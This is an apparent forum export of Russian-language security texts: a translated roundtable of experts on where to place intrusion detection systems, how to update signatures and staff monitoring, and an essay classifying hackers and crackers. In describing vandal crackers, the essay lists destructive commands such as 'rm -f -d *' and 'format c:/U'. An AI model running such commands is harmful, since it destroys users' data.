						&lt;p&gt;Ранум: Я бы поместил систему обнаружения атак внутри. Почему я должен заботиться, нападает ли кто-то вне моего межсетевого экрана? В случае если они проникнут внутрь, система обнаружения атак должна определить это. Размещение системы снаружи быстро убаюкает бдительность администратора. Как-то я использовал высокоэффективный межсетевой экран, который предупреждал меня, когда происходила атака. Двумя неделями позже я удалял предупреждающие сообщения еще до их прочтения. Другой важный фактор, говорящий за помещение системы обнаружения атак внутрь, что далеко не все атаки происходят снаружи. Такое размещение позволит обнаружить новое сетевое соединение или атакующих, проникших через &amp;quot;черный ход&amp;quot;, например, через модем.&lt;/p&gt;
						&lt;p&gt;Карри: Система обнаружения атак должны быть размещена там, где она сможет контролировать наиболее интересующий вас трафик. Например, если Вы опасаетесь вторжения из Internet, то имеет смысл поместить систему обнаружения атак снаружи межсетевого экрана. Это позволит &amp;quot;свободно&amp;quot; контролировать весь входящий трафик. Если вы помещаете систему внутрь, то вы не видите всего трафика, приходящего из Internet, в том числе и от &amp;quot;плохих парней&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Саттерфилд: Система обнаружения атак играет важную роль и внутри и снаружи межсетевого экрана. Снаружи межсетевого экрана система обнаружения атак контролирует трафик, приходящий на почтовые и Web сервера (размещенные в DMZ - примечание переводчика). Что более важно, такое размещение позволяет видеть трафик, который обычно блокируется межсетевым экраном и остается необнаруженным внутренними системами. Внешнее расположение также дает выгоду в случае постоянного контроля сетевых услуг, &amp;quot;законных&amp;quot; для межсетевого экрана (например, контроль почтовых бомб в SMTP-трафике – примечание переводчика). Внутреннее размещение позволяет контролировать трафик во внутренней, защищаемой сети. Это важно, особенно для защиты от авторизованных пользователей. Главный же недостаток такого размещения – невозможность контроля трафика, приходящего из внешних, недоверенных сетей. При таком размещении система обнаружения атак не в состоянии вовремя предупредить об очевидных сигналах о надвигающейся атаке (например, при сканировании портов – примечание переводчика).&lt;/p&gt;
						&lt;p&gt;Клаус: Снаружи межсетевого экрана – это почти всегда хорошая идея. Защита устройств, находящихся в демилитаризованной зоне и дополнительный уровень защищенности внутренней сети. После межсетевого экрана – тоже неплохо. Обнаружение попыток несанкционированного использования туннелей через межсетевой экран и превосходный источник данных о его функционировании. Однако быть может самым лучшим местом развертывания системы обнаружения атак будет ваша intranet. Каждый согласится, что атака не единственное событие, приносящее вред. Существуют еще мошенничество, шпионаж, воровство и неправильное использование сетевых ресурсов. Системы обнаружения атак также эффективны внутри сети, как и снаружи, особенно, если они просты в эксплуатации и не влияют на производительность сети.&lt;/p&gt;
						&lt;p&gt;Спаффорд: Система обнаружения атак всегда должна находиться после межсетевого экрана, чтобы обнаружить злоупотребления, совершаемые авторизованными пользователями, и некоторые типы атак, &amp;quot;проходящие&amp;quot; через межсетевой экран. Размещение снаружи может быть полезным, если вы хотите контролировать атаки на межсетевой экран и осуществлять контроль трафика, блокированного межсетевым экраном. Однако развертывание системы обнаружения атак будет бесполезным, если вы не до конца понимаете топологию и состав своей сети.&lt;/p&gt;
						&lt;p&gt;Как система обнаружения атак может модифицироваться, чтобы защищать против новых атак? Откуда можно получать новые профили атак? Каким образом? В чем могут возникнуть проблемы?&lt;/p&gt;
						&lt;p&gt;Карри: Это важные вопросы, которые должны тщательно рассматриваться при выборе системы обнаружения атак. Системы, основанные на профилях нападений хороши настолько, насколько хороши их базы данных сигнатур. Администратор должен иметь возможность создавать свои сигнатуры для известных атак. Реальный тест – может ли продавец не отставать от новых нападений и не только своевременно создавать новые сигнатуры, но и позволять корректировать старые, как временную меру. Механизмы распределения также важны. Когда Вы имеете дело с десятками, сотнями или тысячами модулей слежения системы обнаружения атак в одной компании, идея о ходьбе к каждому компьютеру с дискетой или CD-ROM неосуществима. Идеально, если система может быть дополнена новыми сигнатурами дистанционно. Чтобы принять меры против внесения поддельных сигнатур атак (например, как это произошло с распространением через сеть FIDO поддельных обновлений антивирусной базы для программы Dr.Web – примечание переводчика), необходимо использовать механизмы аутентификации и шифрования. Модификация сигнатур должна осуществляться без прерывания процесса обнаружения.&lt;/p&gt;
						&lt;p&gt;Саттерфилд: Идеально, если система обнаружения атак модифицируется, как минимум, ежеквартально. Сигнатуры атак строятся на основе бюллетеней безопасности, появляющихся в результате создания новых приложений, несущих в себе новые уязвимости. Самая лучшая модель модификации сигнатур в системах обнаружения атак представлена в антивирусных программах. В конечном счете, заказчики должны иметь возможность регулярной загрузки новых сигнатур, чтобы гарантированно иметь самую последнюю информацию об уязвимостях. Механизм распределения сигнатур должен быть построен в первую очередь по технологии &amp;quot;pull&amp;quot;, а не &amp;quot;push&amp;quot; (т.е. вы должны получать обновления у производителя по своей инициативе, а не по его – примечание переводчика). Большинство заказчиков не хочет иметь автоматически модифицируемые системы из-за сложностей в управлении и повышенного риска безопасности. Желательно, если система &amp;quot;предупредит&amp;quot;, что база данных сигнатур устарела и требует модификации. Затем система соединяется через Internet с Web-сервером производителя и загружает новую версию базы данных сигнатур.&lt;/p&gt;
						&lt;p&gt;Клаус: Имеется два источника получения новых сигнатур атак: компании (подобно ISS) и непосредственно пользователи. Хорошая система обнаружения атак должна не только получать регулярные обновления от экспертов компании-производителя, но и иметь механизм, позволяющий пользователям добавлять свои, специфичные сигнатуры. Поддержка системы обнаружения атак в актуальном состоянии требует постоянных усилий для проведения соответствующих исследований.&lt;/p&gt;
						&lt;p&gt;Ранум: В идеале, система обнаружения атак должна модифицировать сама себя. Как минимум, система обнаружения атак требует модификации словаря атак. Новые атаки будут появляться постоянно. Это закономерно. Но кто их разрабатывает? Прямо сейчас я вижу беспокоящую меня тенденцию, согласно которой, в компаниях, которые проектируют программные средства защиты, нанимают хакеров для разработки новых атак. Это мало чем отличается от использования труда вирусописателей компаниями, разрабатывающими антивирусные программы. Уже известен случай, когда инженер одного из производителей средств обнаружения атак опубликовал в журнале Phrack исходный текст инструментария для создания атаки SYN Flood типа &amp;quot;отказ в обслуживании&amp;quot; (&amp;quot;denial of service&amp;quot;). Спустя несколько недель этот производитель объявил, что они могут обнаруживать и блокировать атаку SYN Flood. Такое неэтичное поведение выставляет всех нас в плохом свете.&lt;/p&gt;
						&lt;p&gt;Спаффорд: Это зависит от используемой технологии. Если система обнаружения атак функционирует по принципу сравнения с сигнатурой, то необходимо загружать новые сигнатуры. Аналогично антивирусным сканерам. Если система обнаруживает аномальное поведение, то просто необходима периодическая подстройка. Например, система Tripwire не нуждается в модификации для получения новых атак. Необходимо только добавлять новые ресурсы, необходимые для контроля. Для систем, нуждающихся в новых профилях атак, их получение зависит от продавца или любой другой обслуживающей компании, обеспечивающей новые сигнатуры. Администратор может и сам создавать такие шаблоны, но это утомительно, требует большого количества исследований и подвержено ошибкам больше, чем в случае с профессиональными компаниями.&lt;/p&gt;
						&lt;p&gt;Какие проблемы создают объемы данных, собранных системой обнаружения атак? Как ваше изделие решает эти проблемы? Как вы уменьшаете объем данных? Как вы уменьшаете число ложных тревог? Как анализируются эти данные? Какие требования предъявляются к персоналу, использующему вашу систему? Какие требования к обучению? Какие аргументы за и против аутсорсинга вашей системы?&lt;/p&gt;
						&lt;p&gt;Клаус: Переполнение данных – одна из главных проблем с системами обнаружения атак. Имеется два основных пути – управление отчетами программы и наличие &amp;quot;здравых&amp;quot; средств управления данными. Хорошая система обнаружения атак должна иметь возможность точной настройки – некоторые атаки могут обнаруживаться, а могут и нет; определенные атаки могут изменять некоторые свои параметры (например, число портов, открытых в определенный промежуток времени, – примечание переводчика), варианты реагирования также могут быть настроены. Эта настройка позволяет вам управлять тем, что и как сообщает вам система обнаружения атак. Хорошая идея – интегрировать средство обнаружения атак с системой анализа защищенности. Это позволит вам сконцентрироваться на самых важных данных, сохранив менее критичные данные для последующего анализа. Хорошая система обнаружения атак способна генерировать сообщения об атаке, выдавать их на экран, и иметь контекстно-зависимую справочную систему. Она также должна иметь эффективные механизмы управления данными, чтобы персонал мог анализировать собранные данные удобным для себя образом. Персонал, работающий с системой обнаружения атак, должен не только быть обучен правилам работы с ней, но и знать, как интегрировать ее в инфраструктуру своей организации.&lt;/p&gt;
						&lt;p&gt;Что касается аутсорсинга, то компании могут иметь разные точки зрения на него. Некоторые не используют аутсорсинг, так как созданных системой обнаружения атак данных достаточно для принятия соответствующих решений. Другие, напротив, желают воспользоваться аутсорсингом, поскольку они не так хорошо разбираются в защитных механизмах и технологиях и им необходима сторонняя помощь. Все это зависит от критичности данных и здравого смысла конечного пользователя системы обнаружения атак.&lt;/p&gt;
						&lt;p&gt;Ранум: Если вы записываете весь трафик на загруженной сети, то недорогой жесткий диск будет делать это медленнее, чем система обнаружения атак &amp;quot;пишет&amp;quot; на него (например, в сетях Fast Ethernet пропускная способность равна 100 Мбит/сек, а скорость доступа к современным &amp;quot;стандартным&amp;quot; жестким дискам равна 24-80 Мбит/сек – примечание переводчика). Вы должны знать, что сохранять, а что нет. Например, если вы контролируете доступ к Web-серверу, то, вероятно, нет необходимости сохранять все графические GIF-файлы. Полезнее хранить URL к ним. Если вы – секретная спецслужба, ищущая секретные данные в изображениях (стеганография - наука о методах скрытия самого факта передачи сообщения, в т.ч. и скрытие данных в графическом изображении – примечание переводчика), то вы предъявляете совершенно другие требования. Приспосабливаемость к различным требованиям по управлению данными является большой проблемой современных систем обнаружения атак, – сколько данных записывать; как долго их хранить; как представить их конечному пользователю? Я чувствую, что большинство пользователей не захочет иметь дела с этими проблемами. Им проще будет приобрести систему обнаружения атак, как часть комплексного решения по обеспечению информационной безопасности сети, предлагаемого внешней организацией и поддерживаемого 24 часа в сутки, 7 дней в неделю (аналогичные услуги в последнее время получили широкое распространение за рубежом – примечание переводчика).&lt;/p&gt;
						&lt;p&gt;Карри: Проблема не в количестве данных. Это всего лишь побочный эффект. Реальная проблема в том, что вы будете делать, когда система обнаружения атак уведомит вас о нападении? Когда вы получаете такое уведомление, вы должны реагировать быстро и правильно – любая ошибка может стоить вам дорого. Кроме того, вы не можете уменьшить число ложных срабатываний без риска пропустить реальную атаку. Таким образом, вы должны уметь отделять зерна от плевел. Как только вы решили, что тревога реальна, что это значит? Как вы реагируете? Автоматический ответ хорош, но это последнее, что вы должны предлагать своим заказчикам. То есть вы нуждаетесь в постоянном человеческом присутствии и возможности обработки оператором почти всех тревог. Это требует выделенного, опытного персонала, который постоянно контролирует эти атаки, знает, как они реализуются и, что более важно, знает, что с ними делать. Обучение и укомплектование персонала для решения этой задачи сложно – большинство компаний не имеет такой возможности, не может себе позволить создавать такие подразделения, не имеет на это времени и, даже если они смогли бы сформировать их, то у них нет на это соответствующих материальных ресурсов.&lt;/p&gt;
						&lt;p&gt;Саттерфилд: Действительно, управление данными – самая большая проблема перед всем семейством средств защиты информации. Это особенно важно для технологии обнаружения атак. На скоростях 100 Мбит/сек и выше система обнаружения атак должна собирать и анализировать большое количество данных. Ранние прототипы систем обнаружения атак фиксировали нажатия клавиш, которые сохранялись на локальном жестком диске и затем, ночью, передавались на центральную консоль для обработки на следующий день. Это работало, но было не оперативно и не соответствовало требованиям работы в реальном режиме времени.&lt;/p&gt;
						&lt;p&gt;Современные технологии оперируют интеллектуальными датчиками, которые собирают только те пакеты, которые могут содержать возможные нарушения защиты. Пакеты анализируются датчиком, а затем, в виде кодированного сигнала передаются дальше. Фактические данные, вызвавшие тревогу, доступны, но уже не имеют большого значения. Дело в том, что датчик должен быть интеллектуальным и должен уметь выбирать только важную информацию. Остальное игнорируется. Это единственный способ создать крупномасштабную систему обнаружения атак, функционирующую в реальном режиме времени с заданной эффективностью. Эта технология очень мощная. Она обеспечивает сбор и отображение заинтересованным лицам всей информации об уровне защищенности организации. Хорошая система обнаружения атак будет разрабатываться таким образом, чтобы она могла эксплуатироваться обычным техником. Однако, пока все еще необходима экспертиза для анализа данных и выработки варианта реагирования. &amp;quot;Пробел в умении защищать&amp;quot; не дает многим организациям понять, как себя защищать на достаточно серьезном техническом уровне. Следовательно, я думаю, что большое количество организаций обратится к аутсорсингу в области сетевой безопасности. Мы часто слышим от клиентов, что их компании &amp;quot;не нуждаются в аутсорсинге&amp;quot;. Однако, после того, как мы им демонстрируем требования к обучению и затраты на 24-часовое поддержание соответствующего уровня безопасности они пересматривают свои позиции. Часто задается один вопрос. Кому вы скорее доверите свою защиту? Служащим, которые могут на следующей неделе работать на ваших конкурентов, или поставщику услуг, связанному контрактом? Этот вопрос обычно ведет к очень интересному обсуждению. Сотрудники службы аутсорсинга - это текущий контроль местных тревог. Фактически, потребители поняли, что системы оповещения, расположенные на предприятии, имеют мало значения, если они не имеют удаленного контроля. Сколько раз вы останавливались на улице, чтобы узнать, почему раздается сигнал тревоги из дома соседа? Ответ – вы обычно ждете шестичасовых новостей, чтобы узнать об этом.&lt;/p&gt;
						&lt;p&gt;Спаффорд: Системы обнаружения не должны генерировать много данных. Что касается заданных вопросов, то позвольте мне обратить ваше внимание, что мы проводим исследования в этих областях (за исключением обучения и укомплектования персоналом) и пока не нашли лучшего решения.&lt;/p&gt;
						&lt;p&gt;Сравните и противопоставьте системы генерации тревог, функционирующие в реальном масштабе времени, с системами отложенногоанализа? Как функционирует ваша система? Что все-таки с укомплектованием персоналом?&lt;/p&gt;
						&lt;p&gt;Саттерфилд: Автономный анализ (offline analysis) трафика с целью генерации тревог практически бесполезен. Министерство обороны США, являясь пионером в области обнаружения атак, придерживалось этого подхода. Однако времена меняются. Обработка нажатий клавиш уже не отвечает требованиям масштабируемости. Обнаружение и генерация тревог в реальном масштабе времени существенно необходимы. Хотя и об автономном анализе данных не надо забывать.&lt;/p&gt;
						&lt;p&gt;Клаус: Как я упомянул раньше, современные системы обнаружения атак – это реальная сетевая информация и инструментальные средства с некоторым встроенным интеллектом. Проанализированы ли данные в реальном масштабе времени или после свершения события, - различие только в своевременности реагирования. Система RealSecure обеспечивает обнаружение и реагирование на атаки в реальном масштабе времени. Мы также обеспечиваем средства управления данными для проведения автономного анализа. Анализ данных &amp;quot;постфактум&amp;quot; очень полезен при наличии обученного персонала. Требуемый состав персонала для эксплуатации системы обнаружения атак очень трудно определить, поскольку это зависит от объема данных, требующих анализа. Важно, чтобы системы обнаружения атак поддерживали этот процесс, предоставляя эффективные средства управления данными.&lt;/p&gt;
						&lt;p&gt;Карри: Если вы серьезно относитесь к защите, вы должны работать в реальном масштабе времени. Нападавший может войти, сделать то, что он должен и уйти в течение нескольких минут или даже секунд. Вы должны быть способны действовать мгновенно, чтобы среагировать на нападение. Автономный анализ нужен, если вы хотите знать, что вы делали в последний вторник. К сожалению, вы не имеете достаточно времени, чтобы проводить такой анализ. Хорошо то, что эта задача может быть легко автоматизирована и не требует большого числа людей.&lt;/p&gt;
						&lt;p&gt;Спаффорд: Тревога в реальном масштабе времени – это когда вы можете среагировать и устранить результат атаки, слушая сигнал тревоги. Автономный анализ часто снижает производительность контролируемых машин (за счет обработки и хранения большого объема регистрационных данных – примечание переводчика), однако также позволяет &amp;quot;сделать шаг назад&amp;quot;, вновь рассмотреть событие и, возможно, &amp;quot;откатить&amp;quot; изменения, сделанные в результате реагирования. Если действие не привело к ожидаемым результатам, если тревога не сработала, то нет никакой разницы между автономным анализом и анализом в реальном масштабе времени! Вы называете ваш продукт системой обнаружения атак? Некоторые специалисты различают атаку (intrusion) и злоупотребление (misuse). Некоторые называют эти средства не системы обнаружения атак, а системы мониторинга сети. Каково ваше определение системы обнаружения атак?&lt;/p&gt;
						&lt;p&gt;Ранум: Мы называем нашу систему универсальным инструментом анализа трафика. Она имеет свойство программируемости, так что вы можете сами &amp;quot;сказать&amp;quot; ей, что надо обнаруживать. Если вы хотите обнаруживать, скажем, атаку SYN Flood, то вы можете сами запрограммировать функцию чтения SYN-пакетов и функцию реагирования в случае нахождения в них статистических аномалий. Также просто вы можете запрограммировать модель анализа роста WAN или подсчета посещений Web-сервера. Я думаю, что обнаружение атак – это одна из задач, которую вы можете решить с помощью нашей универсальной системы. Мы считаем, что люди устали от приобретения систем, которые реализуют только одну функцию. Даже, если она реализована хорошо.&lt;/p&gt;
						&lt;p&gt;Карри: Компания IBM предлагает обслуживание, которое объединяет предложение систем обнаружения атак в реальном режиме времени (компания IBM предлагает систему RealSecure компании ISS – примечание переводчика), круглосуточный текущий контроль обученным персоналом и опытную группу экспертов, реагирующих на нарушения и инциденты безопасности. Мы различаем термины &amp;quot;злоупотребление&amp;quot; и &amp;quot;атака&amp;quot;, но давайте не будем сейчас останавливаться на этом. Мы полагаем, что система обнаружения атак – больше чем несколько датчиков, развернутых в сети. Вы нуждаетесь в сообщающейся системе, которая позволяет вам собирать информацию от датчиков на центральной консоли. Вы нуждаетесь в системе, хранящей эту информацию для более позднего анализа, и в средствах, чтобы такой анализ провести. Вы нуждаетесь в средствах, контролирующих эти датчики постоянно и мгновенно реагирующих в случае тревоги. Атака может быть завершена за минуты и даже секунды. В заключение, и возможно это наиболее важно, вы нуждаетесь в группе выделенных экспертов в области защиты, которые знают, как использовать все эти средства для всесторонней защиты от постоянно растущих угроз. Все эти компоненты вместе образуют реальную и эффективную систему обнаружения атак. Если вы реализуете ее без какого-либо из этих компонентов, то вы только вводите себя в заблуждение.&lt;/p&gt;
						&lt;p&gt;Саттерфилд: Все сводится к семантике. &amp;quot;Обнаружение атак&amp;quot; – термин, используемый для описания конечной цели деятельности. Вы должны обнаружить, когда кто-то делает что-то, что дает ему доступ к чему-то, к чему у него доступа быть не должно. В действительности, технология обнаружения атак обеспечивает способность обнаружить что-то, что пользователь хочет обнаружить. Думайте об этом, как о микроскопе или телескопе для потока данных. Фактически, обнаружение злоупотреблений – только один из вариантов использования технологии обнаружения атак. Базовая технология позволяет вам просматривать сетевой пакет, только пакет, и ничего кроме пакета. Дальше вы можете увидеть что-нибудь другое, если увеличите &amp;quot;размер изображения&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Мониторинг – это хорошо. Обнаружение атак гораздо более эффективно, если осуществляется 24 часа в сутки, 7 дней в неделю. Стоимость таких услуг значительна. Мы полагаем, что компании, которые собираются предлагать эти услуги, хотят делать большой бизнес. Это обеспечит намного более высокое качество защиты ресурсов заказчиков, чем, если бы они сами реализовали у себя комплекс мер по обнаружению атак. Поставщики услуг могут выбирать технологии, позволяющие масштабировать и дублировать свои решения, тем самым, снижая издержки и свои, и заказчиков. Наблюдайте за выбором системы обнаружения атак крупными поставщиками услуг. Это будет показателем качества предлагаемых на рынке систем обнаружения атак.&lt;/p&gt;
						&lt;p&gt;Клаус: Опасно игнорировать термин &amp;quot;злоупотребление&amp;quot;. Единственное различие, которое я делаю между &amp;quot;обнаружением атак&amp;quot; и &amp;quot;обнаружением злоупотреблений&amp;quot; – исходит ли нарушение снаружи сети (это атака) или изнутри сети (это злоупотребление). Оба потенциально разрушительны. Система RealSecure может быть развернута как снаружи межсетевого экрана, так и после него, что позволяет обнаружить как внешних злоумышленников, так и внутренних участников злоупотреблений. И она может реагировать на оба события. Еще можно сказать о различии между терминами так: &amp;quot;злоупотребление&amp;quot; определяет действие, которое нарушает стратегию использования сети (например, посещение порносайтов), в то время как, &amp;quot;атака&amp;quot; определяет действие, которое указывает на то, что кто-то атакует и ставит под угрозу защиту сети. Оба этих действия важны для администратора защиты и системы обнаружения атак, подобно RealSecure, могут обнаружить и помочь предотвратить оба этих действия. &lt;/p&gt;
						&lt;p&gt;Спаффорд: Для нас, атака – это подмножество злоупотребления. Посторонние атакуют систему, чтобы неправильно использовать ее. Однако авторизованные пользователи также могут злоупотреблять системой. Сетевой мониторинг полезен для управления и оптимизации сети. Он также может использоваться для обнаружения атак и злоупотреблений. Однако он не может обеспечить вам контроль приложений, работающих на хосте.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;Девид Карри (David A. Curry) – старший аналитик по безопасности Internet в службе реагирования и помощи компании IBM (IBM Internet Emergency Response Service - IBM-ERS). Участник технической группы, отвечающей за управление инцидентами и реагирование на них для заказчиков IBM-ERS. Он также отвечает за создание бюллетеня Security Vulnerability Alert и разработку планов тестирования шлюзов заказчиков. Карри начинал как системный программист Unix. Работал системным программистом в университете Purdue, исследовательском центре NASA, лаборатории SRI и т.п. Автор нескольких книг по программированию для операционной системы Unix и обеспечению ее информационной безопасности.&lt;/p&gt;
						&lt;p&gt;Кристофер Клаус (Christopher Klaus) – основатель и технический директор компании Internet Security Systems. Автор системы анализа защищенности на сетевом уровне Internet Scanner. Он обеспечивает консультационную поддержку в области безопасности многих государственных учреждений и компаний, входящих в список Fortune 500. Руководитель групп компании ISS, разрабатывающей системы Internet Scanner, System Security Scanner и RealSecure.&lt;/p&gt;
						&lt;p&gt;Маркус Ранум (Marcus J. Ranum) – президент компании Network Flight Recorder и руководитель исследовательской группы корпорации V-ONE. Автор многих межсетевых экранов, включая DEC Seal, TIS Gauntlet и TIS Internet Firewall Toolkit. Контролировал и защищал сети, построенные на основе UNIX в течение 13 лет, включая настройку и управление доменом whitehouse.gov. Ранум – частый лектор и участник конференций по информационной безопасности.&lt;/p&gt;
						&lt;p&gt;Ли Саттерфилд (Lee Sutterfield) – один из основателей и исполнительный вице-президент компании WheelGroup. Получил признание в Центре информационной войны Военно-воздушных сил США. Имеет 15-тилетний опыт работы в области защиты информации.&lt;/p&gt;
						&lt;p&gt;Юджин Спаффорд (Eugene Spafford) – профессор, директор лаборатории COAST в университете Purdue. В университете занимался вопросами увеличения надежности компьютерных систем, что привело к занятию вопросами защиты информации. Автор большого числа публикаций в области обеспечения информационной безопасности. В течение последних лет служил консультантом многих государственных и коммерческих организаций, включая ФБР, АНБ, Министерство Энергетики, Военно-воздушные силы США и т.д. Является одним из авторов системы анализа защищенности на уровне операционной системы COPS, системы обнаружения атак Tripwire, IDIOT и многих других.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 22:03:56 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=35#p35</guid>
		</item>
		<item>
			<title>Internet: Хакеры и кракеры или</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=34#p34</link>
			<description>&lt;p&gt;Просматривая большое количество статей (главным образом, в электронных журналах) о проблемах компьютерного взлома, нельзя не обратить внимание на тот факт, что ни в одной из них не проводится та грань, которая, как нам кажется, четко разделяет всех, так или иначе связанных с компьютерной безопасностью. В основном мнение компьютерного мира по этому поводу либо сугубо негативное (хакеры - это преступники), либо скромно-позитивное (хакеры - &amp;quot;санитары леса&amp;quot;). На самом деле у этой проблемы существует по меньшей мере две стороны, положительная и отрицательная, и между ними проходит четкая граница. Эта граница разделяет всех профессионалов, связанных с информационной безопасностью, на хакеров (hackers) и кракеров (crackers). И те, и другие во многом занимаются решением одних и тех же задач - поиском уязвимостей в вычислительных системах и осуществлением на них атак (&amp;quot;взломом&amp;quot;). &lt;/p&gt;
						&lt;p&gt;Принципиальное различие между хакерами и кракерами состоит в целях, которые они преследуют. Основная задача хакера в том, чтобы, исследуя вычислительную систему, обнаружить слабые места (уязвимости) в ее системе безопасности и информировать пользователей и разработчиков системы с целью последующего устранения найденных уязвимостей. Другая задача хакера - проанализировав существующую безопасность вычислительной системы, сформулировать необходимые требования и условия повышения уровня ее защищенности. &lt;/p&gt;
						&lt;p&gt;С другой стороны, основная задача кракера состоит в непосредственном осуществлении взлома системы с целью получения несанкционированного доступа к чужой информации - иначе говоря, для ее кражи, подмены или для объявления факта взлома. Кракер, по своей сути, ничем не отличается от обычного вора, взламывающего чужие квартиры и крадущего вещи. Он взламывает вычислительные системы и крадет чужую информацию. Итак, кардинальное различие между хакерами и кракерами в том, что первые - исследователи компьютерной безопасности, а вторые - просто воры или вандалы. Хакер в данной терминологии - это специалист. В качестве доказательства приведем определение из словаря Guy L. Steele: HACKER, сущ. 1. Индивидуум, который получает удовольствие от изучения деталей функционирования компьютерных систем и от расширения их возможностей, в отличие от большинства пользователей компьютеров, которые предпочитают знать только необходимый минимум. 2. Энтузиаст программирования; индивидуум, получающий удовольствие от самого процесса программирования, а не от теоретизирования по этому поводу. Данная трактовка термина &amp;quot;хакер&amp;quot; отличается от принятой в средствах массовой информации, которые, собственно, и привели к подмене понятий. В последнее время многие специалисты по компьютерной безопасности (особенно на Западе) стали аккуратнее относиться к этим терминам и мы в подобной трактовке этих терминов уже не одиноки. &lt;/p&gt;
						&lt;p&gt;Низменность мотивов кракеров и отсутствие стремления к профессиональному росту приводят к тому, что 90% из них являются &amp;quot;чайниками&amp;quot; , которые взламывают плохо администрируемые системы, в основном используя чужие программы (обычно такая программа называется exploit). Причем это мнение тех самых 10% профессиональных кракеров - бывших хакеров, ставших на путь нарушения закона. Их, в отличие от кракеров-&amp;quot;чайников&amp;quot; , остановить действительно очень сложно, но, как показывает практика, отнюдь не невозможно. Очевидно, что для предотвращения возможного взлома или устранения его последствий требуется пригласить квалифицированного специалиста по информационной безопасности - профессионального хакера. &lt;/p&gt;
						&lt;p&gt;Однако было бы несправедливо смешать в одну кучу всех кракеров, однозначно назвав их ворами. По нашему мнению, кракеров можно разделить на три следующих класса в зависимости от цели, с которой осуществляется взлом: вандалы, &amp;lt; шутники&amp;gt; и профессиональные взломщики. &lt;/p&gt;
						&lt;p&gt;Вандалы - самая известная (во многом благодаря широкому распространению вирусов, а также творениям некоторых журналистов) и, надо сказать, самая малочисленная (к счастью) часть кракеров. Их основная цель - взломать систему для ее дальнейшего разрушения. К ним можно отнести, во-первых, любителей команд типа rm -f -d *, del *.*, format c:/U и т. д., и, во-вторых, специалистов в написании вирусов или &amp;quot;троянских коней&amp;quot;. Совершенно естественно, что весь компьютерный мир ненавидит кракеров-вандалов лютой ненавистью. Эта стадия кракерства характерна для новичков и быстро проходит, если кракер продолжает совершенствоваться (ведь довольно скучно осознавать свое превосходство над беззащитными пользователями). Кракеров, которые даже с течением времени не миновали эту стадию, а только все более оттачивали свои навыки разрушения, иначе, чем социальными психопатами, не назовешь. &lt;/p&gt;
						&lt;p&gt;&amp;quot;Шутники&amp;quot; - наиболее безобидная часть кракеров (конечно, в зависимости от того, насколько злые они предпочитают шутки), основная цель которых - известность, достигаемая путем взлома компьютерных систем и внесения туда различных эффектов, выражающих их неудовлетворенное чувство юмора. К &amp;quot;шутникам&amp;quot; также можно отнести создателей вирусов с различными визуально-звуковыми эффектами (музыка, дрожание или переворачивание экрана, рисование всевозможных картинок и т. п.). &amp;quot;Шутники&amp;quot; обычно не наносят существенного ущерба компьютерным системам и их администраторам (разве что моральный). На сегодняшний день в Internet это наиболее распространенный класс кракеров, обычно осуществляющих взлом Web-серверов, чтобы оставить там упоминание о себе. Все это либо невинные шалости начинающих, либо рекламные акции профессионалов. &lt;/p&gt;
						&lt;p&gt;Взломщики - профессиональные кракеры, пользующиеся наибольшим почетом и уважением в кракерской среде. Их основная задача - взлом компьютерной системы с серьезными целями, например с целью кражи или подмены хранящейся там информации. Как правило, для того чтобы осуществить взлом, необходимо пройти три основные стадии: исследование вычислительной системы с выявлением в ней изъянов (уязвимостей), разработка программной реализации атаки и непосредственное ее осуществление. Естественно, настоящим профессионалом можно считать только того кракера, который для достижения своей цели проходит все три стадии. С некоторой натяжкой профессионалом можно также считать того кракера, который, используя добытую третьим лицом информацию об уязвимости в системе, пишет ее программную реализацию (exploit). Осуществить третью стадию, используя чужие разработки, очевидно, может практически каждый. &lt;/p&gt;
						&lt;p&gt;Если абстрагироваться от предмета кражи, то работа взломщиков - это обычное воровство. К сожалению, у нас, в России, все не так просто. Конечно, взлом компьютерных систем ни в коем случае нельзя назвать достойным делом, но в стране, где большая часть находящегося у пользователей программного обеспечения является пиратским (хотя здесь ситуация, наконец, меняется в лучшую сторону - становится модным использовать легальное ПО), то есть украденным не без помощи тех же взломщиков, почти никто не имеет морального права &amp;quot;бросить в них камень&amp;quot;. &lt;/p&gt;
						&lt;p&gt;В этой книге мы ограничимся рассмотрением хакеров-кракеров с позиций распределенных систем, однако не нужно забывать, что самая многочисленная категория кракеров занимается более обыденными вещами, а именно: снятием защиты с коммерческих версий программных продуктов, изготовлением регистрационных ключей (registration key) для условно-бесплатных программ (shareware) и т. п. &lt;/p&gt;
						&lt;p&gt;Сетевая информационная безопасность: мифы и реальность&lt;br /&gt;Всемогущество хакеров&lt;br /&gt;Глубокое непонимание большинством обывателей проблем, связанных с информационной безопасностью в вычислительных системах, с течением времени сформировало определенный миф о всемогуществе хакеров и повсеместной беззащитности компьютерных систем. Действительно, современные вычислительные системы и сети общего назначения имеют серьезнейшие проблемы с безопасностью. Но, подчеркнем, именно вычислительные системы общего назначения. Там же, где требуется обработка критической информации и обеспечение высшего уровня защиты и секретности (например, в военной области, в атомной энергетике и т. п.), используются специализированные защищенные ВС, которые (и это чрезвычайно важно!) в основном изолированы от сетей общего назначения (от сети Internet, например). Поэтому необходимо развеять первый миф, исключительно популярный в художественной литературе, кино, а также в средствах массовой информации: кракер не может проникнуть извне в вычислительную систему стратегического назначения (например, в ВС атомной станции или пункта управления стратегическими вооружениями). &lt;br /&gt;Новую жизнь в этом миф вдохнул последний военный конфликт в Югославии. Согласно сообщениям российских СМИ складывалось ощущение, что военные сети НАТО полностью беззащитны, и полный контроль над ними имеют &amp;quot;отважные хакеры&amp;quot;. Естественно, что когда такие перлы попадали в электронные эхо-конференции, то только в разделы юмора. &lt;/p&gt;
						&lt;p&gt;Тем не менее, мы говорим лишь о невозможности получения несанкционированного удаленного доступа именно извне. В том случае, если нанести ущерб системе вознамерится кракер из состава персонала защищенной ВС, то сложно абстрактно судить о том, насколько успешны будут его попытки. &lt;/p&gt;
